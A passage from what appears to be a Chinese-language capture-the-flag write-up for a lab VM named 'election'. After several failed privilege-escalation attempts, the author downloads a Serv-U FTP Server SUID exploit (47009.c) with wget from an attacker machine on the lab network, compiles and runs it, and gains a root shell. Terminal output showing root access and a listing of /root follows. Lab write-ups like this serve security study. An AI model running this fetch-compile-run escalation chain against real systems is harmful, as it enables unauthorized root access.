失败,看了眼数据库提权,也无法利用,在这里卡了很久,尝试利用数据库中的信息登录网站看看,但是网站连接似乎有点问题,密码提示失败。后续又跑去看了进程和网络连接的状况,均没有收获。而定时任务中也没有信息。
Serv-U FTP Server 提权 卡了许久,最后尝试搜索 SUID 中不熟悉文件的 exploit
发现了可能存在的漏洞,将其下载到本地再上传到靶机
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 love@election:/tmp$ wget http://192.168.56.106:8088/47009.c --2023-07-15 16:02:13-- http://192.168.56.106:8088/47009.c Connecting to 192.168.56.106:8088... connected. HTTP request sent, awaiting response... 200 OK Length: 588 [text/x-csrc] Saving to: ‘47009.c’ 47009.c 100%[==============================================>] 588 --.-KB/s in 0s 2023-07-15 16:02:13 (62.5 MB/s) - ‘47009.c’ saved [588/588] love@election:/tmp$ gcc 47009.c -o pe && ./pe uid=0(root) gid=0(root) groups =0(root),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),116(lpadmin),126(sambashare),1000(love) opening root shell root uid=0(root) gid=0(root) groups =0(root),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),116(lpadmin),126(sambashare),1000(love) 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link /loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000 link /ether 08:00:27:fe:c8:1d brd ff:ff:ff:ff:ff:ff inet 192.168.56.128/24 brd 192.168.56.255 scope global dynamic noprefixroute enp0s3 valid_lft 516sec preferred_lft 516sec inet6 fe80::321e:9192:79f9:852/64 scope link noprefixroute valid_lft forever preferred_lft forever total 44K 262148 drwx------ 6 root root 4.0K Jul 14 19:09 . 2 drwxr-xr-x 24 root root 4.0K Apr 8 2020 .. 262347 -rw------- 1 root root 66 May 27 2020 .bash_history 262346 drwx------ 3 root root 4.0K Apr 8 2020 .cache 287891 drwx------ 5 root root 4.0K May 27 2020 .config 295202 drwx------ 3 root root 4.0K Oct 20 2019 .gnupg 295197 drwxr-xr-x 3 root root 4.0K Oct 20 2019 .local 262348 -rw-r--r-- 1 root root 148 Aug 17 2015 .profile 282877 -rw-r--r-- 1 root root 33 Apr 9 2020 root.txt 262647 -rw-r--r-- 1 root root 66 Apr 2 2020 .selected_editor 262149 -rw-r----- 1 root root 5 Jul 14 19:09 .vboxclient-display-svga.pid